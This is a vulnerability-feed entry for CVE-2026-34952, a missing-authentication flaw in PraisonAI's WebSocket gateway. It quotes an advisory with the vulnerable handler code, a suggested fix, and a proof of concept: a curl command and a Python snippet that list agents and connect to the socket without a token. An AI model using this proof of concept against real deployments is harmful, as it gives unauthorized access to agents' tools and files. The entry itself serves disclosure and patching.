Answer in brief
CVE-2026-34952 records a Critical severity (CVSS 9.1) vulnerability in PraisonAI Has Missing Authentication in WebSocket Gateway. The current sources do not mark it as known exploited. The current feed maps praisonai (pip). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 9.1. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps praisonai (pip). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| praisonaipip | <=4.5.96 | 4.5.97 |
Published upstream
Apr 1, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Nov 16, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Nov 16, 2026
### Summary The PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets. ### Details `gateway/server.py:242` (source) -> `gateway/server.py:250` (sink) ```python # source -- /info leaks all agent IDs with no auth async def info(request): return JSONResponse({ "agents": list(self._agents.keys()), "sessions": len(self._sessions), "clients": len(self._clients), }) # sink -- WebSocket accepted unconditionally, no token check async def websocket_endpoint(websocket: WebSocket): await websocket.accept() client_id = str(uuid.uuid4()) self._clients[client_id] = websocket # processes any message from any client ``` ### PoC ```bash # tested on: praisonai==4.5.87 (source install) # install: pip install -e src/praisonai # start server: # python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" & # Step 1 - enumerate agents, no auth curl -s http://127.0.0.1:8765/info # expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0} # Step 2 - connect to WebSocket, no token python3 -c " import asyncio, websockets, json async def run(): async with websockets.connect('ws://127.0.0.1:8765/ws') as ws: print('Connected with no auth') await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'})) print(await asyncio.wait_for(ws.recv(), timeout=3)) asyncio.run(run()) " # expected output: Connected with no auth # {"type": ...} -- server responds, connection accepted ``` ### Impact Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler. ### Suggested Fix ```python async def websocket_endpoint(websocket: WebSocket): token = websocket.query_params.get("token") or \ websocket.headers.get("Authorization", "").removeprefix("Bearer ") if self._config.auth_token and token != self._config.auth_token: await websocket.close(code=4001, reason="Unauthorized") return await websocket.accept() ```
Quoted source text, attributed separately from HOL analysis.